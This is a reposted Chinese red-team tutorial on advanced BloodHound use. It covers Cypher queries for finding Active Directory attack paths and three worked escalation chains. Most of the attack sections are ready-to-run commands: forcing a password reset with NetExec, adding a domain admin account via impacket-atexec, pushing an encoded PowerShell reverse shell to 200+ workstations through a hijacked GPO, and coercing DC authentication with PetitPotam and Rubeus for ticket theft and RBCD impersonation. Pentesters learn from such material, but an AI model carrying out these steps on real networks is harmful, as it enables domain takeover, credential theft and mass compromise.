文章总结: 本文深入讲解BloodHound进阶用法,重点介绍Cypher查询语法及六个高级查询模板,并详细拆解三条深度攻击路径:ACL链式提权、GPO注入加计划任务、委派攻击链。文章提供具体查询语句和攻击步骤,强调自定义查询在发现复杂攻击路径中的关键价值,并给出调试技巧与实战建议,对红队人员具有较高参考价值。 综合评分: 85 文章分类: 红队,内网渗透,渗透测试
【工具学习24】BloodHound进阶(二):Cypher查询与三条深度攻击路径
原创
CabinQ CabinQ
逆熵寻生
2026年9月14日 09:09 浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
BloodHound 进阶(二):Cypher 查询与三条深度攻击路径
上一篇讲了 BloodHound 的数据采集和六大内置查询,能解决 80% 的”找路”需求。
但剩下那 20% 才是真正值钱的部分——内置查询覆盖不到的复杂攻击链、需要多步跳转的组合权限、跨信任域的路径探测。这些都得靠 Cypher 自定义查询。
这篇文章深入 Cypher 查询语法,再拆解三条需要多步组合的深度攻击路径。看完之后你面对任何复杂的 AD 环境,都能自己写出查询、找到路。
Cypher 不是 SQL,但有相似的思维
如果你写过 SQL,Cypher 上手很快。核心区别是:SQL 查的是表,Cypher 查的是图。
基本语法结构:
MATCH (起始节点)-[关系]->(目标节点) WHERE 过滤条件 RETURN 结果
节点用括号,关系用方括号加箭头:
// 找到所有对目标计算机有 AdminTo 关系的用户 MATCH (u:User)-[:AdminTo]->(c:Computer {name: “WEBSERVER01.DOMAIN.LOCAL”}) RETURN u.name, c.name
*多跳路径用 加深度范围:**
// 从当前用户出发,1到5跳内能到达的所有高价值目标 MATCH p=(u:User {name: “[email protected]”})-[*1..5]->(g:Group) WHERE g.highvalue = true RETURN p
组合多种关系类型:
// 通过任意 ACL 关系,1到3跳到 Domain Admins MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..3]->(g:Group) WHERE g.objectid ENDS WITH “-512” RETURN p
这几个模式记住,下面所有查询都是在这个基础上变形的。
六个高级 Cypher 查询模板
查询一:找出所有可以通过密码重置拿到的账户
MATCH p=(u:User)-[:ForceChangePassword]->(t:User) WHERE NOT t.admincount RETURN p
ForceChangePassword 是一种”不需要知道目标当前密码就能直接改”的权限。如果你对一个用户有这个权限,等于你能随时以他的身份登录。
实战价值:在大型 AD 里,这种权限往往是历史遗留。IT 部门给某个管理员组加了”重置密码”权限,但没注意到这个组里的某个用户被错误地分配进去了。
查询二:找出能修改域控 ACL 的路径
MATCH p=(u:User)-[:WriteDacl|WriteOwner|GenericAll]->(c:Computer) WHERE c.operatingsystem CONTAINS “Server” RETURN p
WriteDacl 意味着你能修改目标对象的 DACL(自主访问控制列表)。如果你对域控有 WriteDacl,你可以给自己加 Full Control 权限,然后做 DCSync。
查询三:跨组的隐藏提权链
// 找出通过组嵌套实现的隐藏管理员路径 MATCH p=(u:User)-[:MemberOf*1..5]->(g1:Group)-[:GenericAll|AddMember*1..3]->(g2:Group) WHERE g2.objectid ENDS WITH “-512” AND NOT u.admincount RETURN p LIMIT 20
这个查询找的是:一个非管理员用户,通过多层组嵌套,最终能把自己加进 Domain Admins。路径可能很长(比如:用户在 A 组 → A 组对 B 组有 AddMember → B 组对 DA 有 GenericAll),手动根本发现不了。
查询四:GPO 滥用路径
// 找出能修改高价值 GPO 的用户 MATCH p=(u:User)-[:GenericAll|WriteDacl|WriteOwner]->(g:GPO) RETURN u.name, g.displayname
GPO(组策略对象)是 AD 里最容易被忽视的攻击面。如果你对某个 GPO 有 WriteDacl,你可以修改这个策略来:
🔹 在目标机器上创建计划任务
🔹 添加本地管理员账户
🔹 部署恶意登录脚本
一个被遗忘的 GPO 写权限,可能比直接拿到域管还好用。
查询五:会话劫持机会
// 找出高价值用户登录在你可控机器上的会话 MATCH p=(u:User)-[:HasSession]->(c:Computer) WHERE u.highvalue = true AND (c)-[:AdminTo]->(target:Computer) RETURN p
HasSession 意味着某个用户当前登录在某台机器上。如果你能拿到那台机器的本地管理员权限,就能 dump 他的凭据。
实战价值:如果 Domain Admin 经常登录某台 Web 服务器,而你恰好对那台服务器有管理员权限——直接 mimikatz 抓明文密码。
查询六:跨信任域攻击路径
// 找出跨域信任关系中的可滥用路径 MATCH p=(u:User)-[:CrossSessionGroup*1..3]->(g:Group) WHERE g.domain = “CHILD.DOMAIN.LOCAL” RETURN p
多域环境下,信任关系是常见的突破口。父域用户可能在子域有隐藏权限,外部信任域的账户可能对本域有 ACL。
深度攻击路径一:ACL 链式提权
场景: 你拿到一个普通域用户,BloodHound 标记为 Owned。
第一步:查 ForceChangePassword
MATCH p=(u:User {name: “[email protected]”})-[:ForceChangePassword]->(t:User) RETURN t.name, t.admincount
结果发现你对 ITADMIN02 有密码重置权限,而这个人不是管理员。
第二步:重置密码,切换身份
NetExec 改密码
nxc ldap 10.10.10.10-u MY_USER -p’oldpass’-M change-password \ -o USER=IT_ADMIN_02 NEWPASSWORD=’Hacked123!’
第三步:重新标记 Owned,查新路径
回到 BloodHound,把 ITADMIN02 标记为 Owned。再查:
MATCH p=(u:User {name: “[email protected]”})-[*1..4]->(g:Group) WHERE g.objectid ENDS WITH “-512” RETURN p
发现 ITADMIN02 是 “Server Operators” 组的成员,而该组对域控有 WriteDacl 权限。
第四步:通过 Server Operators 提权
Server Operators 组成员可以:
🔹 创建/修改服务 → 通过服务执行任意命令
🔹 备份域控 → 通过 backup operators 权限 dump SAM/NTDS
用 IT_ADMIN_02 的身份连接域控,创建恶意服务
impacket-atexec’domain/IT_ADMIN_02:Hacked123!@DC01′ \ “cmd /c net user hacker Password123! /add /domain && net group ‘Domain Admins’ hacker /add /domain”
攻击完成。整条路径:普通用户 → 密码重置 → Server Operators → 域控服务滥用 → DA。
深度攻击路径二:GPO 注入 + 计划任务
场景: BloodHound 发现你对一个高价值 GPO 有 GenericAll。
第一步:确认 GPO 影响范围
MATCH p=(g:GPO)-[:GPLink]->(ou:OU) WHERE g.displayname CONTAINS “Workstation-Policy” RETURN g.displayname, ou.name
这个 GPO 链接到了”所有工作站”OU,覆盖 200+ 台机器。
第二步:通过 SharpGPOAbuse 注入计划任务
用当前用户权限修改 GPO,添加计划任务
.\SharpGPOAbuse.exe –AddComputerTask \ –gpo-name “Workstation-Policy” \ –task-name “UpdateTask” \ –author”DOMAIN\IT_ADMIN” \ –command”cmd.exe” \ –arguments”/c powershell -enc BASE64_REVERSE_SHELL”
第三步:等待计划任务执行
GPO 更新周期默认 90 分钟。200+ 台机器会在 90 分钟内陆续执行你的反向 Shell。
第四步:收集凭据
在执行的机器上跑 SharpHound / Mimikatz,收集高价值用户的凭据。
这条路径的隐蔽性在于:你修改的是 GPO 而不是直接在目标机器上操作。日志里只有 GPO 变更记录,不会有”某台机器被远程登录”的痕迹。
深度攻击路径三:委派攻击链
场景: BloodHound 发现有非约束委派 + 约束委派 + RBCD 三种委派类型混合存在。
第一步:梳理委派关系
// 非约束委派 MATCH p=(c:Computer)-[:UnconstrainedDelegation]->(c) RETURN c.name
// 约束委派 MATCH p=(c:Computer)-[:ConstrainedDelegation]->(s:Server) RETURN c.name, s.name
// RBCD(基于资源的约束委派) MATCH p=(c:Computer)-[:AllowedToAct]->(target:Computer) RETURN c.name, target.name
第二步:非约束委派 + Printer Bug
如果发现 Print Server 有非约束委派:
-
在 Print Server 上用 Rubeus 监听:
Rubeus.exe monitor /interval:5 -
用 PetitPotam 强制 DC 向 Print Server 认证:
python3 PetitPotam.py -u user -p pass PRINT_SERVER.domain.local DC01.domain.local
- 捕获到 DC 的 TGT → Pass-the-Ticket → 域控到手
第三步:RBCD 攻击(如果非约束委派不可用)
如果你能对某台机器写入 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
利用 Impacket 的 rbcd 模块
impacket-rbcd-delegate-to TARGET_COMPUTER$ -delegate-from CONTROLLED_COMPUTER$ \ -action write ‘domain/user:pass@DC01’
然后伪造 S4U 请求
impacket-getST-spn cifs/TARGET_COMPUTER.domain.local \ -impersonate Administrator ‘domain/CONTROLLED_COMPUTER$:password’
Cypher 调试技巧
写 Cypher 时几个容易踩的坑:
坑一:节点名称大小写
BloodHound 里计算机名称统一是大写:DC01.DOMAIN.LOCAL 而不是 dc01.domain.local。查询时注意匹配。
坑二:关系方向
-[:MemberOf]-> 是从用户到组,不是反过来的。写反了查不到结果。
坑三:性能问题
1..10 这种大深度查询在大型 AD(上千节点)里会很慢。建议先用 1..3 看个大概,确认方向对了再扩大深度。
坑四:RETURN 和 RETURN p 的区别
RETURN u.name 只返回属性值,RETURN p 返回完整路径(在图上会画出来)。调试时用 RETURN p,批量提取数据时用具体属性。
Cypher 查询是 BloodHound 从”看图工具”变成”攻击发现引擎”的关键。内置查询能覆盖的只是冰山一角,真正的价值在于你能根据自己的场景写出定制化的查询。
关注我,持续不断地成长!
往期推荐:
【工具学习13】Impacket 工具实战教程(一)
【工具学习14】Impacket 工具实战教程(二)
【工具学习15】Impacket 工具实战教程(三)
【工具学习16】Impacket 工具实战教程(四)
【工具学习17】Impacket 工具实战教程(五)
【工具学习18】Impacket 工具实战教程(六)
【工具学习19】httpx 迅速定位真正存活的 HTTP 服务
【工具学习20】NetExec 内网渗透实战教程
【工具学习21】Subfinder :12000 Star 的被动子域名侦察利器
【工具学习22】RustScan :3秒扫完65535端口
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逆熵寻生 CabinQ CabinQ《【工具学习24】BloodHound进阶(二):Cypher查询与三条深度攻击路径》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论